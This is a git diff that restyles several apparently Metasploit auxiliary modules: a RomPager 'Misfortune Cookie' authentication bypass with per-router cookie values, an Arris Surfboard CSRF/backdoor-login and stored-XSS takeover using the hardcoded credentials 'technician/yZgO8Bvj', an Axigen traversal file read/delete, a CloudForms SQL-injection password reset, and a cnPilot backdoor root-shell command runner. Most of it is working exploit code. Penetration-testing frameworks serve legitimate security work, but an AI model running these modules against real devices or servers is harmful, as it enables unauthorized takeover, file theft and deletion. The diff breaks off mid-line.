diff --git a/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.rb b/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.rb index 7378532f70..0d56e9a5dc 100644 --- a/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.rb +++ b/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.rb @@ -8,122 +8,149 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report def initialize(info = {}) - super(update_info( - info, - 'Name' => "Allegro Software RomPager 'Misfortune Cookie' (CVE-2014-9222) Authentication Bypass", - 'Description' => %q( - This module exploits HTTP servers that appear to be vulnerable to the - 'Misfortune Cookie' vulnerability which affects Allegro Software - Rompager versions before 4.34 and can allow attackers to authenticate - to the HTTP service as an administrator without providing valid - credentials. - ), - 'Author' => [ - 'Jon Hart ', # metasploit scanner module - 'Jan Trencansky ', # metasploit auxiliary admin module - 'Lior Oppenheim' # CVE-2014-9222 - ], - 'References' => [ - ['CVE', '2014-9222'], - ['URL', 'https://web.archive.org/web/20191006135858/http://mis.fortunecook.ie/'], - ['URL', 'https://web.archive.org/web/20190207102911/http://mis.fortunecook.ie/misfortune-cookie-suspected-vulnerable.pdf'], # list of likely vulnerable devices - ['URL', 'https://web.archive.org/web/20190623150837/http://mis.fortunecook.ie/too-many-cooks-exploiting-tr069_tal-oppenheim_31c3.pdf'] # 31C3 presentation with POC - ], - 'DisclosureDate' => '2014-12-17', - 'License' => MSF_LICENSE - )) + super( + update_info( + info, + 'Name' => "Allegro Software RomPager 'Misfortune Cookie' (CVE-2014-9222) Authentication Bypass", + 'Description' => %q{ + This module exploits HTTP servers that appear to be vulnerable to the + 'Misfortune Cookie' vulnerability which affects Allegro Software + Rompager versions before 4.34 and can allow attackers to authenticate + to the HTTP service as an administrator without providing valid + credentials. + }, + 'Author' => [ + 'Jon Hart ', # metasploit scanner module + 'Jan Trencansky ', # metasploit auxiliary admin module + 'Lior Oppenheim' # CVE-2014-9222 + ], + 'References' => [ + ['CVE', '2014-9222'], + ['URL', 'https://web.archive.org/web/20191006135858/http://mis.fortunecook.ie/'], + ['URL', 'https://web.archive.org/web/20190207102911/http://mis.fortunecook.ie/misfortune-cookie-suspected-vulnerable.pdf'], # list of likely vulnerable devices + ['URL', 'https://web.archive.org/web/20190623150837/http://mis.fortunecook.ie/too-many-cooks-exploiting-tr069_tal-oppenheim_31c3.pdf'] # 31C3 presentation with POC + ], + 'DisclosureDate' => '2014-12-17', + 'License' => MSF_LICENSE + ) + ) register_options( - [ - OptString.new('TARGETURI', [true, 'URI to test', '/']), - ], Exploit::Remote::HttpClient + [ + OptString.new('TARGETURI', [true, 'URI to test', '/']), + ], Exploit::Remote::HttpClient ) register_advanced_options( - [ - Msf::OptBool.new("ForceAttempt", [ false, "Force exploit attempt for all known cookies", false ]), - ], Exploit::Remote::HttpClient + [ + Msf::OptBool.new('ForceAttempt', [ false, 'Force exploit attempt for all known cookies', false ]), + ], Exploit::Remote::HttpClient ) end def headers { - 'Referer' => full_uri + 'Referer' => full_uri } end # List of known values and models def devices_list known_devices = { - :'AZ-D140W'=> - {:name=>'Azmoon', :model=>'AZ-D140W', :values=>[ - [107367693, 13] - ]}, - :'BiPAC 5102S'=> - {:name=>'Billion', :model=>'BiPAC 5102S', :values=>[ + :'AZ-D140W' => + { + name: 'Azmoon', model: 'AZ-D140W', values: [ + [107367693, 13] + ] + }, + :'BiPAC 5102S' => + { + name: 'Billion', model: 'BiPAC 5102S', values: [ [107369694, 13] - ]}, - :'BiPAC 5200'=> - {:name=>'Billion', :model=>'BiPAC 5200', :values=>[ + ] + }, + :'BiPAC 5200' => + { + name: 'Billion', model: 'BiPAC 5200', values: [ [107369545, 9], [107371218, 21] - ]}, - :'BiPAC 5200A'=> - {:name=>'Billion', :model=>'BiPAC 5200A', :values=>[ + ] + }, + :'BiPAC 5200A' => + { + name: 'Billion', model: 'BiPAC 5200A', values: [ [107366366, 25], [107371453, 9] - ]}, - :'BiPAC 5200GR4'=> - {:name=>'Billion', :model=>'BiPAC 5200GR4', :values=>[ + ] + }, + :'BiPAC 5200GR4' => + { + name: 'Billion', model: 'BiPAC 5200GR4', values: [ [107367690, 21] - ]}, - :'BiPAC 5200SRD'=> - {:name=>'Billion', :model=>'BiPAC 5200SRD', :values=>[ + ] + }, + :'BiPAC 5200SRD' => + { + name: 'Billion', model: 'BiPAC 5200SRD', values: [ [107368270, 1], [107371378, 3], [107371218, 13] - ]}, - :'DSL-2520U'=> - {:name=>'D-Link', :model=>'DSL-2520U', :values=>[ + ] + }, + :'DSL-2520U' => + { + name: 'D-Link', model: 'DSL-2520U', values: [ [107368902, 25] - ]}, - :'DSL-2600U'=> - {:name=>'D-Link', :model=>'DSL-2600U', :values=>[ + ] + }, + :'DSL-2600U' => + { + name: 'D-Link', model: 'DSL-2600U', values: [ [107366496, 13], [107360133, 20] - ]}, - :'TD-8616'=> - {:name=> 'TP-Link', :model=>'TD-8616', :values=>[ + ] + }, + :'TD-8616' => + { + name: 'TP-Link', model: 'TD-8616', values: [ [107371483, 21], [107369790, 17], [107371161, 1], [107371426, 17], [107370211, 5], - ]}, - :'TD-8817'=> - {:name=> 'TP-Link', :model=>'TD-8817', :values=>[ + ] + }, + :'TD-8817' => + { + name: 'TP-Link', model: 'TD-8817', values: [ [107369790, 17], [107369788, 1], [107369522, 25], [107369316, 21], [107369321, 9], [107351277, 20] - ]}, - :'TD-8820'=> - {:name=>'TP-Link', :model=>'TD-8820', :values=>[ + ] + }, + :'TD-8820' => + { + name: 'TP-Link', model: 'TD-8820', values: [ [107369768, 17] - ]}, - :'TD-8840T'=> - {:name=>'TP-Link', :model=>'TD-8840T', :values=>[ + ] + }, + :'TD-8840T' => + { + name: 'TP-Link', model: 'TD-8840T', values: [ [107369845, 5], [107369790, 17], [107369570, 1], [107369766, 1], [107369764, 5], [107369688, 17] - ]}, - :'TD-W8101G'=> - {:name=>'TP-Link', :model=>'TD-W8101G', :values=>[ + ] + }, + :'TD-W8101G' => + { + name: 'TP-Link', model: 'TD-W8101G', values: [ [107367772, 37], [107367808, 21], [107367751, 21], @@ -131,13 +158,17 @@ class MetasploitModule < Msf::Auxiliary [107367765, 25], [107367052, 25], [107365835, 1] - ]}, - :'TD-W8151N'=> - {:name=>'TP-Link', :model=>'TD-W8151N', :values=>[ + ] + }, + :'TD-W8151N' => + { + name: 'TP-Link', model: 'TD-W8151N', values: [ [107353867, 24] - ]}, - :'TD-W8901G'=> - {:name=> 'TP-Link', :model=>'TD-W8901G', :values=>[ + ] + }, + :'TD-W8901G' => + { + name: 'TP-Link', model: 'TD-W8901G', values: [ [107367787, 21], [107368013, 5], [107367854, 9], @@ -147,33 +178,43 @@ class MetasploitModule < Msf::Auxiliary [107367682, 21], [107365835, 1], [107367052, 25] - ]}, - :'TD-W8901GB'=> - {:name=>'TP-Link', :model=>'TD-W8901GB', :values=>[ + ] + }, + :'TD-W8901GB' => + { + name: 'TP-Link', model: 'TD-W8901GB', values: [ [107367756, 13], [107369393, 21] - ]}, - :'TD-W8901N'=> - {:name=>'TP-Link', :model=>'TD-W8901N', :values=>[ + ] + }, + :'TD-W8901N' => + { + name: 'TP-Link', model: 'TD-W8901N', values: [ [107353880, 0] - ]}, - :'TD-W8951ND'=> - {:name=>'TP-Link', :model=>'TD-W8951ND', :values=>[ + ] + }, + :'TD-W8951ND' => + { + name: 'TP-Link', model: 'TD-W8951ND', values: [ [107369839, 25], [107369876, 13], [107366743, 21], [107364759, 25], [107364759, 13], [107364760, 21] - ]}, - :'TD-W8961NB'=> - {:name=>'TP-Link', :model=>'TD-W8961NB', :values=>[ + ] + }, + :'TD-W8961NB' => + { + name: 'TP-Link', model: 'TD-W8961NB', values: [ [107369844, 17], [107367629, 21], [107366421, 13] - ]}, - :'TD-W8961ND'=> - {:name=>'TP-Link', :model=>'TD-W8961ND', :values=>[ + ] + }, + :'TD-W8961ND' => + { + name: 'TP-Link', model: 'TD-W8961ND', values: [ [107369839, 25], [107369876, 13], [107364732, 25], @@ -181,18 +222,22 @@ class MetasploitModule < Msf::Auxiliary [107364762, 29], [107353880, 0], [107353414, 36] - ]}, - :'P-660R-T3 v3'=> #This value works on devices with model P-660R-T3 v3 not P-660R-T3 v3s - {:name=>'ZyXEL', :model=>'P-660R-T3', :values=>[ - [107369567, 21] - ]}, - :'P-660RU-T3 v2'=> #Couldn't verify this - {:name=>'ZyXEL', :model=>'P-660R-T3', :values=>[ - [107369567, 21] - ]}, - ALL=> # Used when `ForceAttempt` === true - {:name=>'Unknown', :model=>'Forced', :values=>[] + ] }, + :'P-660R-T3 v3' => # This value works on devices with model P-660R-T3 v3 not P-660R-T3 v3s + { + name: 'ZyXEL', model: 'P-660R-T3', values: [ + [107369567, 21] + ] + }, + :'P-660RU-T3 v2' => # Couldn't verify this + { + name: 'ZyXEL', model: 'P-660R-T3', values: [ + [107369567, 21] + ] + }, + ALL => # Used when `ForceAttempt` === true + { name: 'Unknown', model: 'Forced', values: [] } } # collect all known cookies for a brute force option all_cookies = [] @@ -203,17 +248,14 @@ class MetasploitModule < Msf::Auxiliary known_devices end - def check_response_fingerprint(res, fallback_status) fp = http_fingerprint(response: res) vprint_status("Fingerprint: #{fp}") # ensure the fingerprint at least appears vulnerable - if /RomPager\/(?[\d\.]+)/ =~ fp + if %r{RomPager/(?[\d.]+)} =~ fp vprint_status("#{peer} is RomPager #{version}") - if Rex::Version.new(version) < Rex::Version.new('4.34') - if /realm="(?.+)"/ =~ fp - return model - end + if Rex::Version.new(version) < Rex::Version.new('4.34') && /realm="(?.+)"/ =~ fp + return model end end fallback_status @@ -221,29 +263,29 @@ class MetasploitModule < Msf::Auxiliary def run res = send_request_raw( - 'uri' => normalize_uri(target_uri.path.to_s), - 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path.to_s), + 'method' => 'GET' ) model = check_response_fingerprint(res, Exploit::CheckCode::Detected) if model != Exploit::CheckCode::Detected devices = devices_list[model.to_sym] devices = devices_list[:ALL] if devices.nil? && datastore['ForceAttempt'] - if devices != nil + if !devices.nil? print_good("Detected device:#{devices[:name]} #{devices[:model]}") - devices[:values].each { |value| - cookie = "C#{value[0]}=#{'B'*value[1]}\x00" + devices[:values].each do |value| + cookie = "C#{value[0]}=#{'B' * value[1]}\x00" res = send_request_raw( - 'uri' => normalize_uri(target_uri.path.to_s), - 'method' => 'GET', - 'headers' => headers.merge('Cookie' => cookie) + 'uri' => normalize_uri(target_uri.path.to_s), + 'method' => 'GET', + 'headers' => headers.merge('Cookie' => cookie) ) - if res != nil and res.code <= 302 + if !res.nil? && (res.code <= 302) print_good('Good response, please check host, authentication should be disabled') break else print_error('Bad response') end - } + end else print_error("No matching values for fingerprint #{model}") end diff --git a/modules/auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss.rb b/modules/auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss.rb index 70ed0eaaba..be525bd0fb 100644 --- a/modules/auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss.rb +++ b/modules/auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss.rb @@ -8,80 +8,81 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report def initialize(info = {}) - super(update_info(info, - 'Name' => 'Arris / Motorola Surfboard SBG6580 Web Interface Takeover', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Arris / Motorola Surfboard SBG6580 Web Interface Takeover', + 'Description' => %q{ + The web interface for the Arris / Motorola Surfboard SBG6580 has + several vulnerabilities that, when combined, allow an arbitrary website to take + control of the modem, even if the user is not currently logged in. The attacker + must successfully know, or guess, the target's internal gateway IP address. + This is usually a default value of 192.168.0.1. - The web interface for the Arris / Motorola Surfboard SBG6580 has - several vulnerabilities that, when combined, allow an arbitrary website to take - control of the modem, even if the user is not currently logged in. The attacker - must successfully know, or guess, the target's internal gateway IP address. - This is usually a default value of 192.168.0.1. + First, a hardcoded backdoor account was discovered in the source code + of one device with the credentials "technician/yZgO8Bvj". Due to lack of CSRF + in the device's login form, these credentials - along with the default + "admin/motorola" - can be sent to the device by an arbitrary website, thus + inadvertently logging the user into the router. - First, a hardcoded backdoor account was discovered in the source code - of one device with the credentials "technician/yZgO8Bvj". Due to lack of CSRF - in the device's login form, these credentials - along with the default - "admin/motorola" - can be sent to the device by an arbitrary website, thus - inadvertently logging the user into the router. + Once successfully logged in, a persistent XSS vulnerability is + exploited in the firewall configuration page. This allows injection of + Javascript that can perform any available action in the router interface. - Once successfully logged in, a persistent XSS vulnerability is - exploited in the firewall configuration page. This allows injection of - Javascript that can perform any available action in the router interface. + The following firmware versions have been tested as vulnerable: - The following firmware versions have been tested as vulnerable: - - SBG6580-6.5.2.0-GA-06-077-NOSH, and - SBG6580-8.6.1.0-GA-04-098-NOSH - - }, - 'Author' => [ 'joev' ], - 'DisclosureDate' => '2015-04-08', - 'License' => MSF_LICENSE, - 'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]], - 'PassiveActions' => [ 'WebServer' ], - 'DefaultAction' => 'WebServer', - 'References' => [ - [ 'CVE', '2015-0964' ], # XSS vulnerability - [ 'CVE', '2015-0965' ], # CSRF vulnerability - [ 'CVE', '2015-0966' ], # "techician/yZgO8Bvj" web interface backdoor - [ 'URL', 'https://www.rapid7.com/blog/post/2015/06/05/r7-2015-01-csrf-backdoor-and-persistent-xss-on-arris-motorola-cable-modems/' ], - ] - )) + SBG6580-6.5.2.0-GA-06-077-NOSH, and + SBG6580-8.6.1.0-GA-04-098-NOSH + }, + 'Author' => [ 'joev' ], + 'DisclosureDate' => '2015-04-08', + 'License' => MSF_LICENSE, + 'Actions' => [[ 'WebServer', { 'Description' => 'Serve exploit via web server' } ]], + 'PassiveActions' => [ 'WebServer' ], + 'DefaultAction' => 'WebServer', + 'References' => [ + [ 'CVE', '2015-0964' ], # XSS vulnerability + [ 'CVE', '2015-0965' ], # CSRF vulnerability + [ 'CVE', '2015-0966' ], # "techician/yZgO8Bvj" web interface backdoor + [ 'URL', 'https://www.rapid7.com/blog/post/2015/06/05/r7-2015-01-csrf-backdoor-and-persistent-xss-on-arris-motorola-cable-modems/' ], + ] + ) + ) register_options([ OptString.new('DEVICE_IP', [ false, - "Internal IP address of the vulnerable device.", + 'Internal IP address of the vulnerable device.', '192.168.0.1' ]), OptString.new('LOGINS', [ false, - "Comma-separated list of user/pass combinations to attempt.", + 'Comma-separated list of user/pass combinations to attempt.', 'technician/yZgO8Bvj,admin/motorola' ]), OptBool.new('DUMP_DHCP_LIST', [ true, - "Dump the MAC, IP, and hostnames of all registered DHCP clients.", + 'Dump the MAC, IP, and hostnames of all registered DHCP clients.', true ]), OptInt.new('SET_DMZ_HOST', [ false, - "The final octet of the IP address to set in the DMZ (1-255).", + 'The final octet of the IP address to set in the DMZ (1-255).', nil ]), OptString.new('BLOCK_INTERNET_ACCESS', [ false, - "Comma-separated list of IP addresses to block internet access for.", + 'Comma-separated list of IP addresses to block internet access for.', '' ]), OptString.new('CUSTOM_JS', [ false, - "A string of javascript to execute in the context of the device web interface.", + 'A string of javascript to execute in the context of the device web interface.', '' ]), OptString.new('REMOTE_JS', [ false, - "A URL to inject into a script tag in the context of the device web interface.", + 'A URL to inject into a script tag in the context of the device web interface.', '' ]) ]) @@ -91,7 +92,7 @@ class MetasploitModule < Msf::Auxiliary if datastore['SET_DMZ_HOST'] dmz_host = datastore['SET_DMZ_HOST'].to_i if dmz_host < 1 || dmz_host > 255 - raise ArgumentError, "DMZ host must be an integer between 1 and 255." + raise ArgumentError, 'DMZ host must be an integer between 1 and 255.' end end @@ -101,12 +102,12 @@ class MetasploitModule < Msf::Auxiliary def on_request_uri(cli, request) if request.method =~ /post/i file = store_loot( - "dhcp.clients", "text/json", cli.peerhost, - request.body, "arris_surfboard_xss", "DHCP client list gathered from modem" + 'dhcp.clients', 'text/json', cli.peerhost, + request.body, 'arris_surfboard_xss', 'DHCP client list gathered from modem' ) print_good "Dumped DHCP client list from #{cli.peerhost}" print_good file - elsif request.uri =~ /\/dmz$/i + elsif request.uri =~ %r{/dmz$}i print_good "DMZ host successfully reset to #{datastore['SET_DMZ_HOST']}." send_response_html(cli, '') else @@ -116,7 +117,8 @@ class MetasploitModule < Msf::Auxiliary def set_dmz_host_js return '' unless datastore['SET_DMZ_HOST'].present? - %Q| + + %| var x = new XMLHttpRequest; x.open('POST', '/goform/RgDmzHost.pl'); x.setRequestHeader('Content-Type','application/x-www-form-urlencoded'); @@ -127,7 +129,8 @@ class MetasploitModule < Msf::Auxiliary def dump_dhcp_list_js return '' unless datastore['DUMP_DHCP_LIST'] - %Q| + + %| var f = document.createElement('iframe'); f.src = '/RgDhcp.asp'; f.onload = function() { @@ -165,144 +168,144 @@ class MetasploitModule < Msf::Auxiliary end def exploit_html - <<-EOS - - - + <<~EOS + + + - + - - -EOS + + + EOS end def custom_js diff --git a/modules/auxiliary/admin/http/axigen_file_access.rb b/modules/auxiliary/admin/http/axigen_file_access.rb index f951b8bdd0..5bd7a4d6f2 100644 --- a/modules/auxiliary/admin/http/axigen_file_access.rb +++ b/modules/auxiliary/admin/http/axigen_file_access.rb @@ -7,95 +7,97 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) - super(update_info(info, - 'Name' => 'Axigen Arbitrary File Read and Delete', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Axigen Arbitrary File Read and Delete', + 'Description' => %q{ This module exploits a directory traversal vulnerability in the WebAdmin - interface of Axigen, which allows an authenticated user to read and delete - arbitrary files with SYSTEM privileges. The vulnerability is known to work on - Windows platforms. This module has been tested successfully on Axigen 8.10 over - Windows 2003 SP2. - }, - 'Author' => - [ + interface of Axigen, which allows an authenticated user to read and delete + arbitrary files with SYSTEM privileges. The vulnerability is known to work on + Windows platforms. This module has been tested successfully on Axigen 8.10 over + Windows 2003 SP2. + }, + 'Author' => [ 'Zhao Liang', # Vulnerability discovery 'juan vazquez' # Metasploit module ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ [ 'US-CERT-VU', '586556' ], [ 'CVE', '2012-4940' ], [ 'OSVDB', '86802' ] ], - 'Actions' => - [ - ['Read', { 'Description' => 'Read remote file' }], + 'Actions' => [ + ['Read', { 'Description' => 'Read remote file' }], ['Delete', { 'Description' => 'Delete remote file' }] ], - 'DefaultAction' => 'Read', - 'DisclosureDate' => '2012-10-31')) + 'DefaultAction' => 'Read', + 'DisclosureDate' => '2012-10-31' + ) + ) register_options( [ Opt::RPORT(9000), - OptInt.new('DEPTH', [ true, 'Traversal depth if absolute is set to false', 4 ]), - OptString.new('TARGETURI',[ true, 'Path to Axigen WebAdmin', '/' ]), + OptInt.new('DEPTH', [ true, 'Traversal depth if absolute is set to false', 4 ]), + OptString.new('TARGETURI', [ true, 'Path to Axigen WebAdmin', '/' ]), OptString.new('USERNAME', [ true, 'The user to authenticate as', 'admin' ]), OptString.new('PASSWORD', [ true, 'The password to authenticate with' ]), - OptString.new('PATH', [ true, 'The file to read or delete', "\\windows\\win.ini" ]) - ]) + OptString.new('PATH', [ true, 'The file to read or delete', '\\windows\\win.ini' ]) + ] + ) end def run - print_status("Trying to login") + print_status('Trying to login') if login - print_good("Login Successful") + print_good('Login Successful') else - print_error("Login failed, review USERNAME and PASSWORD options") + print_error('Login failed, review USERNAME and PASSWORD options') return end - @traversal = "../" * 10 + @traversal = '../' * 10 file = datastore['PATH'] @platform = get_platform if @platform == 'windows' - @traversal.gsub!(/\//, "\\") - file.gsub!(/\//, "\\") + @traversal.gsub!(%r{/}, '\\') + file.gsub!(%r{/}, '\\') else # unix - print_error("*nix platform detected, vulnerability is only known to work on Windows") + print_error('*nix platform detected, vulnerability is only known to work on Windows') return end case action.name - when 'Read' - read_file(datastore['PATH']) - when 'Delete' - delete_file(datastore['PATH']) + when 'Read' + read_file(datastore['PATH']) + when 'Delete' + delete_file(datastore['PATH']) end end def read_file(file) - - print_status("Retrieving file contents...") + print_status('Retrieving file contents...') res = send_request_cgi( - { - 'uri' => normalize_uri(target_uri.path, "sources", "logging", "page_log_file_content.hsp"), - 'method' => 'GET', - 'cookie' => "_hadmin=#{@session}", - 'vars_get' => { - '_h' => @token, - 'fileName' => "#{@traversal}#{file}" + { + 'uri' => normalize_uri(target_uri.path, 'sources', 'logging', 'page_log_file_content.hsp'), + 'method' => 'GET', + 'cookie' => "_hadmin=#{@session}", + 'vars_get' => { + '_h' => @token, + 'fileName' => "#{@traversal}#{file}" + } } - }) + ) - if res and res.code == 200 and res.headers['Content-Type'] and res.body.length > 0 - store_path = store_loot("axigen.webadmin.data", "application/octet-stream", rhost, res.body, file) + if res && (res.code == 200) && res.headers['Content-Type'] && !res.body.empty? + store_path = store_loot('axigen.webadmin.data', 'application/octet-stream', rhost, res.body, file) print_good("File successfully retrieved and saved on #{store_path}") else - print_error("Failed to retrieve file") + print_error('Failed to retrieve file') end end @@ -103,19 +105,20 @@ class MetasploitModule < Msf::Auxiliary print_status("Deleting file #{file}") res = send_request_cgi( - { - 'uri' => normalize_uri(target_uri.path), - 'method' => 'GET', - 'cookie' => "_hadmin=#{@session}", - 'vars_get' => { - '_h' => @token, - 'page' => 'vlf', - 'action' => 'delete', - 'fileName' => "#{@traversal}#{file}" + { + 'uri' => normalize_uri(target_uri.path), + 'method' => 'GET', + 'cookie' => "_hadmin=#{@session}", + 'vars_get' => { + '_h' => @token, + 'page' => 'vlf', + 'action' => 'delete', + 'fileName' => "#{@traversal}#{file}" + } } - }) + ) - if res and res.code == 200 and res.body =~ /View Log Files/ + if res && (res.code == 200) && res.body =~ (/View Log Files/) print_good("File #{file} deleted") else print_error("Error deleting file #{file}") @@ -123,49 +126,51 @@ class MetasploitModule < Msf::Auxiliary end def get_platform - print_status("Retrieving platform") + print_status('Retrieving platform') res = send_request_cgi( { - 'uri' => normalize_uri(target_uri.path), - 'method' => 'GET', - 'cookie' => "_hadmin=#{@session}", - 'vars_get' => { + 'uri' => normalize_uri(target_uri.path), + 'method' => 'GET', + 'cookie' => "_hadmin=#{@session}", + 'vars_get' => { '_h' => @token } - }) + } + ) - if res and res.code == 200 + if res && (res.code == 200) if res.body =~ /Windows/ - print_good("Windows platform found") + print_good('Windows platform found') return 'windows' elsif res.body =~ /Linux/ - print_good("Linux platform found") + print_good('Linux platform found') return 'unix' end end - print_warning("Platform not found, assuming UNIX flavor") + print_warning('Platform not found, assuming UNIX flavor') return 'unix' end def login res = send_request_cgi( - { - 'uri' => normalize_uri(target_uri.path), - 'method' => 'POST', - 'vars_post' => { - 'username' => datastore['USERNAME'], - 'password' => datastore['PASSWORD'], - 'submit' => 'Login', - 'action' => 'login' + { + 'uri' => normalize_uri(target_uri.path), + 'method' => 'POST', + 'vars_post' => { + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'], + 'submit' => 'Login', + 'action' => 'login' + } } - }) + ) - if res and res.code == 303 and res.headers['Location'] =~ /_h=([a-f0-9]*)/ - @token = $1 + if res && (res.code == 303) && res.headers['Location'] =~ (/_h=([a-f0-9]*)/) + @token = ::Regexp.last_match(1) if res.get_cookies =~ /_hadmin=([a-f0-9]*)/ - @session = $1 + @session = ::Regexp.last_match(1) return true end end diff --git a/modules/auxiliary/admin/http/cfme_manageiq_evm_pass_reset.rb b/modules/auxiliary/admin/http/cfme_manageiq_evm_pass_reset.rb index b00a4844e0..850c8c0348 100644 --- a/modules/auxiliary/admin/http/cfme_manageiq_evm_pass_reset.rb +++ b/modules/auxiliary/admin/http/cfme_manageiq_evm_pass_reset.rb @@ -12,25 +12,23 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'Red Hat CloudForms Management Engine 5.1 miq_policy/explorer SQL Injection', - 'Description' => %q{ + 'Name' => 'Red Hat CloudForms Management Engine 5.1 miq_policy/explorer SQL Injection', + 'Description' => %q{ This module exploits a SQL injection vulnerability in the "explorer" action of "miq_policy" controller of the Red Hat CloudForms Management Engine 5.1 (ManageIQ Enterprise Virtualization Manager 5.0 and earlier) by changing the password of the target account to the specified password. }, - 'Author' => 'Ramon de C Valle', - 'License' => MSF_LICENSE, - 'References' => - [ - ['CVE', '2013-2050'], - ['CWE', '89'], - ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=959062'] - ], - 'DefaultOptions' => - { - 'SSL' => true - }, + 'Author' => 'Ramon de C Valle', + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2013-2050'], + ['CWE', '89'], + ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=959062'] + ], + 'DefaultOptions' => { + 'SSL' => true + }, 'DisclosureDate' => 'Nov 12 2013' ) @@ -70,10 +68,10 @@ class MetasploitModule < Msf::Auxiliary def password_reset? print_status("Trying to log into #{target_url('dashboard')} using the target account...") res = send_request_cgi( - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'dashboard', 'authenticate'), + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'dashboard', 'authenticate'), 'vars_post' => { - 'user_name' => datastore['TARGETUSERNAME'], + 'user_name' => datastore['TARGETUSERNAME'], 'user_password' => datastore['TARGETPASSWORD'] } ) @@ -84,7 +82,7 @@ class MetasploitModule < Msf::Auxiliary end if res.body =~ /"Error: (.*)"/ - print_error($1) + print_error(::Regexp.last_match(1)) false else true @@ -94,10 +92,10 @@ class MetasploitModule < Msf::Auxiliary def run print_status("Logging into #{target_url('dashboard')}...") res = send_request_cgi( - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'dashboard', 'authenticate'), + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'dashboard', 'authenticate'), 'vars_post' => { - 'user_name' => datastore['USERNAME'], + 'user_name' => datastore['USERNAME'], 'user_password' => datastore['PASSWORD'] } ) @@ -108,10 +106,10 @@ class MetasploitModule < Msf::Auxiliary end if res.body =~ /"Error: (.*)"/ - print_error($1) + print_error(::Regexp.last_match(1)) return else - session = $1 if res.get_cookies =~ /_vmdb_session=(\h*)/ + session = ::Regexp.last_match(1) if res.get_cookies =~ /_vmdb_session=(\h*)/ if session.nil? print_error('Failed to retrieve the current session id') @@ -122,9 +120,9 @@ class MetasploitModule < Msf::Auxiliary # Newer versions don't accept POST requests. print_status("Sending password-reset request to #{target_url('miq_policy', 'explorer')}...") send_request_cgi( - 'cookie' => "_vmdb_session=#{session}", - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'miq_policy', 'explorer'), + 'cookie' => "_vmdb_session=#{session}", + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'miq_policy', 'explorer'), 'vars_get' => { 'profile[]' => value_for_newer_schema } @@ -141,7 +139,7 @@ class MetasploitModule < Msf::Auxiliary send_request_cgi( 'cookie' => "_vmdb_session=#{session}", 'method' => datastore['HTTP_METHOD'], - 'uri' => normalize_uri(target_uri.path, 'miq_policy', 'explorer'), + 'uri' => normalize_uri(target_uri.path, 'miq_policy', 'explorer'), "vars_#{datastore['HTTP_METHOD'].downcase}" => { 'profile[]' => value_for_older_schema } diff --git a/modules/auxiliary/admin/http/cnpilot_r_cmd_exec.rb b/modules/auxiliary/admin/http/cnpilot_r_cmd_exec.rb index d4b99a9fa3..1a0122a17c 100644 --- a/modules/auxiliary/admin/http/cnpilot_r_cmd_exec.rb +++ b/modules/auxiliary/admin/http/cnpilot_r_cmd_exec.rb @@ -7,25 +7,25 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::CNPILOT def initialize(info = {}) - super(update_info(info, - 'Name' => "Cambium cnPilot r200/r201 Command Execution as 'root'", - 'Description' => %{ - Cambium cnPilot r200/r201 device software versions 4.2.3-R4 to - 4.3.3-R4, contain an undocumented, backdoor 'root' shell. This shell is - accessible via a specific url, to any authenticated user. The module uses this - shell to execute arbitrary system commands as 'root'. - }, - 'Author' => - [ + super( + update_info( + info, + 'Name' => "Cambium cnPilot r200/r201 Command Execution as 'root'", + 'Description' => %q{ + Cambium cnPilot r200/r201 device software versions 4.2.3-R4 to + 4.3.3-R4, contain an undocumented, backdoor 'root' shell. This shell is + accessible via a specific url, to any authenticated user. The module uses this + shell to execute arbitrary system commands as 'root'. + }, + 'Author' => [ 'Karn Ganeshen ' ], - 'References' => - [ + 'References' => [ ['CVE', '2017-5259'], ['URL', 'https://www.rapid7.com/blog/post/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities/'] ], - 'License' => MSF_LICENSE - ) + 'License' => MSF_LICENSE + ) ) register_options( @@ -41,7 +41,7 @@ class MetasploitModule < Msf::Auxiliary deregister_options('DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'PASS_FILE', 'BLANK_PASSWORDS', 'BRUTEFORCE_SPEED', 'STOP_ON_SUCCESS') end - def run_host(ip) + def run_host(_ip) unless is_app_cnpilot? return end @@ -51,7 +51,7 @@ class MetasploitModule < Msf::Auxiliary def cmd_exec_run(the_cookie) # Verify backdoor 'root' shell url exists - root_shell = "#{(ssl ? 'https' : 'http')}" + '://' + "#{rhost}:#{rport}" + '/adm/syscmd.asp' + root_shell = (ssl ? 'https' : 'http').to_s + '://' + "#{rhost}:#{rport}" + '/adm/syscmd.asp' print_status("#{rhost}:#{rport} - Checking backdoor 'root' shell...") res = send_request_cgi( @@ -109,13 +109,13 @@ class MetasploitModule < Msf::Auxiliary if search_result.nil? print_status('Command run did not return any results or invalid command. Note that cnPilot devices only have a restricted *nix command-set.') else - print_good("#{search_result}") + print_good(search_result.to_s) # w00t we got l00t loot_name = 'cmd-exec-log' loot_type = 'text/plain' loot_desc = 